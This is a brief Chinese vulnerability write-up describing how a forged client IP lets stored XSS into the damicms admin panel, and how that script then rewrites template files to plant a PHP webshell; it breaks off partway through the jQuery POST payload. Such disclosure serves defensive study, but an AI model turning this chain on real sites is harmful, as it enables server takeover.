damicms存储xss导致getshell

简要描述： damicms存储xss导致getshell 详细说明： 1Xss Damicms使用了万恶的 getclientip 直接伪造ip，而且ip的字段是varchar50 够我xss了 然后: Ok 2xss导致getshell 由于后台 可以直接编辑文件，生成php马 那我们就用js来直接getshell Js如下: $.ajax "url": "http://192.168.153.132/dami/admin.php?s=/Tpl/Update", "type": "POST", "data":...